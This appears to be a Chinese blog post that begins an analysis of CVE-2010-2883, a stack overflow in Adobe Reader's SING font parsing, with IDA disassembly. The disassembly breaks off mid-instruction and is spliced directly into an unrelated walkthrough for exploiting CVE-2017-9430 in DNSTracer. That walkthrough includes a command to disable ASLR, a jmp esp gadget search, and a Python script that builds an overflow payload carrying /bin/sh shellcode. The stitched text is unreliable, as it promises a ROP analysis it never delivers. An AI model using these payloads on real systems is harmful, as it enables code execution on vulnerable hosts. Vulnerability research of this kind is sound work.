漏洞分析之CVE-2010-2883(栈溢出)

本文详细分析了Adobe Acrobat和Reader中的CVE-2010-2883栈溢出漏洞,通过栈溢出、SING数据结构和Ollydbg动态调试,揭示了如何构造ROP链绕过DEP。利用heap spray技术和JavaScript脚本,最终实现漏洞验证。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

之前调过一个关于浏览器的漏洞,因为第一次接触漏洞,所以很没有经验不知道最后怎么构造shellcode(特别是ROP链的写法),有幸再调试一个稍微简单点的CVE,具体查看poc中的ROP链编写。

0x00 漏洞简介

Adobe Acrobat和Reader都是美国Adobe公司开发的非常流行的PDF文件阅读器。
基于Window和Mac OS X的Adobe Reader和Acrobat 9.4之前的9.x版本,8.2.5之前的8.x版本的CoolType.dll中存在基于栈的缓冲区溢出漏洞。远程攻击者可借助带有TTF字体Smart INdependent Glyphlets (SING)表格中超长字段的PDF文件执行任意代码或者导致拒绝服务(应用程序崩溃)。

0x01 测试环境

虚拟机 winxp sp3 32bit
adobe Reader 9.3.4

利用OD以及IDA进行动静态结合的逆向分析

0x02 漏洞调试

0x1 基于字符串定位的漏洞分析方法

首先进行漏洞定位,这是分析的起始步骤,找到漏洞产生的现场,作为一个典型的stack overflow的漏洞,最典型的函数就是Strcat函数,同时本漏洞出现的原因是在堆SING表格的解析上,所以我们可以直接利用IDA分析(CoolType.dll文件)定位漏洞所在位置,alt+t搜索SING字符
这里写图片描述
利用IDA静态查看出问题的CoolType.dll动态链接库

.text:0803DCF9                 push    ebp
.text:0803DCFA                 sub     esp, 104h;分配栈空间0x104
.text:0803DD00                 lea     ebp, [esp-4];后面的strcat会把执行结果保存在ebp中
.text:0803DD04                 mov     eax, dword_8230FB8
.text:0803DD09                 xor     eax, ebp
.text:0803DD0B                 mov     [ebp+104h], eax
.text:0803DD11                 push    4Ch
.text:0803DD13                 mov     eax, offset loc_8184A54
.text:0803DD18                 call    __EH_prolog3_catch
.text:0803DD1D                 mov     eax, [ebp+arg_C]
.text:0803DD23                 mov     edi, [ebp+arg_0]
.text:0803DD29                 mov     ebx, [ebp+arg_4]
.text:0803DD2F                 mov     [ebp+var_28], edi
.text:0803DD32                 mov     [ebp+var_30], eax
.text:0803DD35                 call    sub_804172C
.text:0803DD3A                 xor     esi, esi
.text:0803DD3C                 cmp     dword ptr [edi+8], 3
.text:0803DD40                 mov     [ebp+var_4], esi
.text:0803DD43                 jz      loc_803DF00
.text:0803DD49                 mov     [ebp+var_1C], esi
.text:0803DD4C                 mov     [ebp+var_18], esi
.text:0803DD4F                 cmp     dword ptr [edi+0Ch], 1
.text:0803DD53                 mov     byte ptr [ebp+var_4], 1
.text:0803DD57                 jnz     loc_803DEA9
.text:0803DD5D                 push    offset a
### CVE-2017-9430 栈溢出漏洞复现步骤 CVE-2017-9430 是 DNSTracer 1.9 中的一个栈溢出漏洞,该漏洞允许攻击者通过精心构造的输入数据覆盖返回地址并执行任意代码。以下是复现此漏洞的详细过程: #### 1. 环境搭建 为了成功复现 CVE-2017-9430 漏洞,需要准备以下环境: - 安装目标程序 DNSTracer 1.9。 - 使用支持调试和逆向工程的工具,例如 GDB 或 Radare2。 - 确保目标系统禁用了 ASLR(地址空间布局随机化)或绕过 ASLR。 在 Linux 系统中,可以通过以下命令禁用 ASLR: ```bash echo 0 > /proc/sys/kernel/randomize_va_space ``` #### 2. 分析漏洞成因 DNSTracer 1.9 在处理用户输入时未对缓冲区大小进行严格检查,导致可以利用超长字符串触发栈溢出。具体来说,`sscanf` 函数被用于解析输入数据,但没有验证输入长度,从而可能导致栈缓冲区被覆盖[^2]。 #### 3. 利用方法 一种常见的利用方法是通过覆盖返回地址为 `jmp esp` 指令的地址,从而使程序跳转到 shellcode 执行。以下是具体步骤: - **寻找 `jmp esp` 指令** 使用 `objdump` 工具查找目标程序中的 `jmp esp` 指令。例如: ```bash objdump -M intel -D /usr/local/bin/dnstracer | grep jmp | grep esp ``` 这将输出类似以下的结果: ``` 08048e5c: ff e4 jmp esp ``` - **构造 payload** 构造 payload 的关键在于确保覆盖返回地址为 `jmp esp` 指令的地址,并在其后附加 shellcode。例如: ```python #!/usr/bin/python import struct # Shellcode (example) shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80") # Padding to reach return address padding = "A" * 260 # Address of jmp esp (little-endian format) ret_address = struct.pack("<I", 0x08048e5c) # Construct the payload payload = padding + ret_address + shellcode # Write to file for testing with open("payload.txt", "w") as f: f.write(payload) ``` #### 4. 测试与验证 将生成的 payload 输入到 DNSTracer 中进行测试。如果配置正确,程序应跳转到 shellcode 并执行相应操作。 --- ### 注意事项 - 确保实验环境隔离,避免对生产系统造成影响。 - 如果启用了 ASLR,可能需要使用信息泄露技术或其他方法定位返回地址[^2]。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值